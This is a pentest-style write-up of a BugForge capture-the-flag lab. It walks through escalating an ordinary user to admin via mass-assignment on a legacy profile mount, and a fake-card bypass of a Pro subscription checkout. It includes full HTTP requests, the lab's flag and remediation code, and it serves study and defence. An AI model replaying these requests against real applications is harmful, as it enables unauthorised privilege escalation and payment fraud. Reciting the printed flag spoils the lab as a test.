Sokudo: Version-Drift Mass-Assignment to Admin
Part 1: Pentest Report
Executive Summary
Sokudo is a typing-speed web application on BugForge: a React single-page app backed by a Node/Express-style JSON API, using JWT (HS256) bearer tokens for authentication. Testing focused on reaching the admin role and retrieving the engagement flag. The profile-update handler is served at three mounts that drifted apart over time; the current mount was hardened with a field whitelist, but a legacy mount was left routable without it, letting an ordinary user write their own role to admin.
Testing confirmed 2 findings:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Version-drift mass-assignment → privilege escalation to admin | High | 8.1 | CWE-915, CWE-269 | PUT /api/profile |
| F2 | Payment bypass: fake card grants Pro tier | Low | 4.3 | CWE-345 | POST /v2/subscription/checkout |
F1 is the finding that yields the flag. A self-registered user sends PUT /api/profile with {"role":"admin"}; the legacy mount binds the whole request body onto the user record, persisting the elevated role. As a genuine admin, the account then reads GET /v2/admin/users, and the flag is delivered in the admin account’s email field: bug{8XiXQMxKNyZbQPXvLL86kr8L3i0vT0fc}.
Objective
Escalate from a self-registered ordinary user to the admin role and retrieve the flag exposed to admin-only functionality.
Scope / Initial Access
# Target Application
URL: https://lab-1783028775422-mf13kg.labs-app.bugforge.io
# Auth details
Registration: open, self-service (POST /v2/register)
Token: JWT HS256 in Authorization: Bearer, stored in localStorage("token")
JWT payload: {"id":4,"username":"haxor","iat":...} -- no role claim
Starting privileges: role "user", tier "free"
The JWT payload carries identity only (id, username, iat). There is no role, scope, or tier claim in the token, so the server resolves the caller’s role from stored state by identity rather than trusting a claim in the token.
Reconnaissance: Reading the Bundle
The application ships a single React bundle (main.df94ac42.js, 549 KB) that disclosed the full API surface, the admin-route gating logic, and the shape of the auth token. Mapping was done by reading that bundle and confirming behavior against live requests.
- Admin access is gated on the client only. The React route renders the admin panel with
path:"/admin", element: (user && "admin"===user.role) ? <AdminPanel/> : <redirect /dashboard>, and the admin nav button renders only when"admin"===role. Client-side gating does not imply the server enforces the same check, so both had to be tested independently. - The admin panel loads its data from
GET /v2/admin/usersandGET /v2/admin/sessions. No flag string appears anywhere in the bundle, so the flag is served from the API, most likely behind one of these admin endpoints. - The profile-update handler is reachable at more than one mount:
/v2/profile(current, called by the app) and/v1/profile. An unversioned/api/profileform is not called anywhere in the bundle, which makes it invisible to any inventory built from the frontend. - The decoded JWT contains no role claim. Because authorization is a server-side identity lookup rather than a token claim, forging a role in the token is not a viable path; the escalation has to write the stored role or impersonate a privileged identity.
PUT /v2/profilewith{"role":"admin"}returnedrole:"user"in the echoed record, indicating the current mount applies a field whitelist that stripsrole. That closed the obvious mass-assignment path on the tested mount but did not rule out the sibling mounts serving the same handler.
Application Architecture
| Component | Detail |
|---|---|
| Frontend | React single-page app (MUI), axios instance for API calls |
| Backend | Node/Express-style JSON API |
| Auth | JWT HS256 bearer token; payload holds identity only, role resolved server-side |
| Profile handler mounts | /v2/profile (current, whitelisted), /v1/profile (410 Gone), /api/profile (legacy v0, no whitelist) |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/v2/register |
POST | No | Returns token + user (role:user, tier:free) |
/v2/login |
POST | No | |
/v2/verify-token |
GET | Yes | Frontend’s source of the current role |
/v2/profile |
GET, PUT | Yes | PUT applies a field whitelist; strips role |
/v1/profile |
PUT | Yes | 410 Gone (deprecated) |
/api/profile |
PUT | Yes | Legacy v0 mount, no whitelist; binds whole body (F1) |
/v2/subscription/checkout |
POST | Yes | Accepts arbitrary card data (F2) |
/v2/admin/users |
GET | Yes (admin) | Role-gated server-side; holds the flag |
/v2/admin/sessions |
GET | Yes (admin) | Role-gated server-side |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | 1 | admin |
| speedtyper | 2 | user |
| learner | 3 | user |
| haxor (ours) | 4 | user → admin |
Attack Chain Visualization
┌──────────────┐ ┌────────────────────────┐ ┌───────────────────────┐ ┌────────────────┐
│ POST │ │ PUT /api/profile │ │ GET /v2/admin/users │ │ Flag in │
│ /v2/register │ ──▶ │ {"role":"admin"} │ ──▶ │ (same Bearer token) │ ──▶ │ admin.email │
│ role: user │ │ 200 role:"admin" │ │ 200 full user table │ │ bug{...} │
└──────────────┘ └────────────────────────┘ └───────────────────────┘ └────────────────┘
our token legacy v0 mount binds token now clears the value delivered
(id=4) whole body (no whitelist) server-side admin gate in an unexpected field
Findings
F1: Version-Drift Mass-Assignment → Privilege Escalation to Admin
Severity: High
CVSS v3.1: 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
CWE: CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes), CWE-269 (Improper Privilege Management)
Endpoint: PUT /api/profile
Authentication required: Yes (any registered user)
Description
The profile-update handler is reachable at three mounts that have drifted apart:
PUT /v2/profile(current) applies a field whitelist and stripsrolefrom the request body.PUT /v1/profileis deprecated and returns 410 Gone.PUT /api/profile(legacy v0) is still routable and binds the entire request body onto the user record, includingrole.
An ordinary user can therefore set their own role to admin through the legacy mount. The /v2/admin/* endpoints are correctly role-gated on the server, so this write is a genuine prerequisite rather than a shortcut: the escalation flips the stored role, which is exactly what the admin gate reads.
Impact
Full privilege escalation from an ordinary user to admin, exposing every user’s account record.
Reproduction
Step 1: Register an ordinary account
POST /v2/register HTTP/1.1
Host: lab-1783028775422-mf13kg.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","email":"[email protected]","password":"password","full_name":""}
Response: 200 OK with {"token":"eyJhbGci...SsjIqI","user":{"id":4,"username":"haxor","role":"user","tier":"free"}}. The account starts as an ordinary user.
Step 2: Write the role through the legacy mount
PUT /api/profile HTTP/1.1
Host: lab-1783028775422-mf13kg.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJoYXhvciIsImlhdCI6MTc4MzAyODc5NX0.U_OBFjBzDapIw1nniGmVZ-OW8kvP3kdASxJ0YSsjIqI
{"full_name":"test","bio":"","website":"","keyboard":"","role":"admin"}
Response: 200 OK with {"message":"Profile updated","profile":{"id":4,"username":"haxor","role":"admin","tier":"free",...}}. The echoed record shows role:"admin"; the value was bound and persisted, not stripped.
Step 3: Read the admin user list with the same token
GET /v2/admin/users HTTP/1.1
Host: lab-1783028775422-mf13kg.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJoYXhvciIsImlhdCI6MTc4MzAyODc5NX0.U_OBFjBzDapIw1nniGmVZ-OW8kvP3kdASxJ0YSsjIqI
Response: 200 OK with the full user table. The same token that could not reach this endpoint before now clears the admin gate. The flag is delivered in the admin account’s email field:
[{"id":1,"username":"admin","email":"bug{8XiXQMxKNyZbQPXvLL86kr8L3i0vT0fc}","full_name":"System Administrator","role":"admin","tier":"pro","created_at":"2026-07-02 21:46:16"},{"id":2,"username":"speedtyper","email":"[email protected]","full_name":"Lightning Fast","role":"user","tier":"pro","created_at":"2026-07-02 21:46:16"},{"id":3,"username":"learner","email":"[email protected]","full_name":"Practice Makes Perfect","role":"user","tier":"free","created_at":"2026-07-02 21:46:16"},{"id":4,"username":"haxor","email":"[email protected]","full_name":"test","role":"admin","tier":"free","created_at":"2026-07-02 21:46:35"}]
Remediation
Fix 1: Apply the field whitelist to every profile mount, or remove the legacy mount
// BEFORE (Vulnerable): legacy /api/profile binds the whole body
app.put('/api/profile', auth, (req, res) => {
const updated = db.updateUser(req.user.id, req.body); // role included
res.json({ message: 'Profile updated', profile: updated });
});
// AFTER (Secure): whitelist user-editable fields; role is never client-writable
const PROFILE_FIELDS = ['full_name', 'bio', 'website', 'keyboard'];
function pickAllowed(body) {
return Object.fromEntries(
Object.entries(body).filter(([k]) => PROFILE_FIELDS.includes(k))
);
}
app.put('/api/profile', auth, (req, res) => {
const updated = db.updateUser(req.user.id, pickAllowed(req.body));
res.json({ message: 'Profile updated', profile: updated });
});
Additional recommendations:
- Decommission deprecated mounts fully.
/v1/profilereturns 410; the/api(v0) mount should be removed or return the same, not silently serve an older, unhardened handler. - Centralize the field whitelist in one place (a shared serializer or update function) so every mount inherits the same rule and controls cannot drift per version.
- Never accept
role,tier,isAdmin, or similar privilege fields from a client-controlled body on any endpoint; set them only through server-side flows that check authorization.
F2: Payment Bypass: Fake Card Grants Pro Tier
Severity: Low
CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)
CWE: CWE-345 (Insufficient Verification of Data Authenticity)
Endpoint: POST /v2/subscription/checkout
Authentication required: Yes (any registered user)
Description
The subscription checkout endpoint accepts arbitrary card data with no validation. A syntactically invalid card (repeated digits, expiry 99/99) is accepted and the account is upgraded to the Pro tier. This is a separate defect from F1 with an independent root cause.
The CVSS base score is 4.3 (Medium band). This finding is rated Low because on this typing-speed app the Pro tier is a cosmetic feature (an alternate practice mode plus a profile badge) with no data, privilege, or financial-of-consequence impact.
Impact
Any registered user can obtain the paid Pro tier without valid payment.
Reproduction
Step 1: Submit checkout with an invalid card
POST /v2/subscription/checkout HTTP/1.1
Host: lab-1783028775422-mf13kg.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer <user token>
{"paymentMethod":{"number":"4444 4444 4444 4444","exp":"99/99","cvc":"123"}}
Response: 200 OK with {"message":"Welcome to Pro","tier":"pro"}. The endpoint reports the tier upgraded on an obviously invalid card. Post-checkout persistence was not independently confirmed with a follow-up GET /v2/subscription; the observed fact is the checkout endpoint’s own response.
Remediation
Fix 1: Verify payment with the processor before granting entitlement
// BEFORE (Vulnerable): trust the request and upgrade
app.post('/v2/subscription/checkout', auth, (req, res) => {
db.setTier(req.user.id, 'pro');
res.json({ message: 'Welcome to Pro', tier: 'pro' });
});
// AFTER (Secure): upgrade only on a confirmed charge from the payment provider
app.post('/v2/subscription/checkout', auth, async (req, res) => {
const charge = await paymentProvider.createCharge({
userId: req.user.id,
paymentMethod: req.body.paymentMethod,
});
if (charge.status !== 'succeeded') {
return res.status(402).json({ message: 'Payment failed' });
}
db.setTier(req.user.id, 'pro');
res.json({ message: 'Welcome to Pro', tier: 'pro' });
});
Additional recommendations:
- Never derive entitlement from the client’s checkout call; grant tier changes only from a verified provider event (charge confirmation or webhook).
- Validate card input server-side as a minimum sanity gate, but treat provider confirmation as the authority.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: F1 lets an ordinary user write their own
roletoadminand then reach admin-only data, a vertical privilege escalation. - A05:2021 Security Misconfiguration: F1’s root cause is a deprecated profile-update mount (
/api) left routable without the field whitelist that hardens the current mount. - A04:2021 Insecure Design: F2’s checkout flow grants a paid tier without any verification of payment.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Intercepting proxy and request replay for the profile-mount sweep and admin reads |
| Browser DevTools | Reading the React bundle to map the API surface and admin gating |
| jwtforge | Decoding the JWT to confirm the payload carried no role claim |
References
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (https://cwe.mitre.org/data/definitions/915.html)
- CWE-269: Improper Privilege Management (https://cwe.mitre.org/data/definitions/269.html)
- CWE-345: Insufficient Verification of Data Authenticity (https://cwe.mitre.org/data/definitions/345.html)
- OWASP API Security Top 10, API3:2023 Broken Object Property Level Authorization / Mass Assignment (https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/)
- OWASP Top 10 2021: A01 Broken Access Control, A04 Insecure Design, A05 Security Misconfiguration (https://owasp.org/Top10/)
Part 2: Notes / Knowledge
Key Learnings
-
When a write route strips a privileged field, re-fire the same field against its sibling mounts, including the unversioned
/api(v0) mount; probe the ladder directly rather than deriving it from the frontend bundle. A field whitelist that stripsroleon the mount you tested means mass-assignment looks dead, not that it is dead. Security controls get added to the newest handler, and the legacy sibling mount is left routable and unhardened, still binding the whole body onto the record. Enumerate the version ladder for that same handler (/api,/v1,/v2, and so on) and re-send the same body carrying the disallowed field to each, then diff the echoed record per mount. Build that ladder by direct probing, not from the bundle: legacy mounts are frequently not called by the app and will never appear in an inventory derived from the frontend. HerePUT /v2/profile {role:admin}echoedrole:userand looked like a dead end, whilePUT /api/profilewith the same body persistedrole:adminand led to the flag. -
When the JWT payload carries identity only (id/username) and no role or authorization claim, authorization is a server-side identity lookup, so privilege escalation means writing your stored role or impersonating the privileged identity, not forging a role claim. If the token does not carry the role, the server reads it from stored state by identity, so there is no role claim to forge and
alg=noneor claim injection buys nothing beyond a cheap authentication-bypass rule-out. Redirect effort to writing your own stored role through a write endpoint (mass-assignment or profile update, and its sibling mounts) or to impersonating the privileged identity by swappingid/username, which requires breaking the signature. In this engagement the decoded token was{id:4, username:"haxor", iat:...}with no role, which reframed “become admin” away from token forging and toward the profile write that flips the stored role.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
PUT /v2/profile {role:admin} |
200, response role:user |
Current mount applies a field whitelist that strips role |
PUT /v1/profile {role:admin} |
410 Gone | Deprecated mount no longer serves the handler |
alg=none JWT forgery |
Rejected | Server verifies the HS256 signature; unsigned tokens are refused |
GET /v2/admin/users before escalation |
403 (operator observation) | Endpoint is role-gated server-side; not a broken-access-control shortcut |
GET /v2/stats during the walk |
403 “Invalid token” | Stale token, not a tier gate (red herring) |
Tags: #mass-assignment #privilege-escalation #version-drift #broken-access-control #jwt #bugforge
Document Version: 1.0
Last Updated: 2026-07-04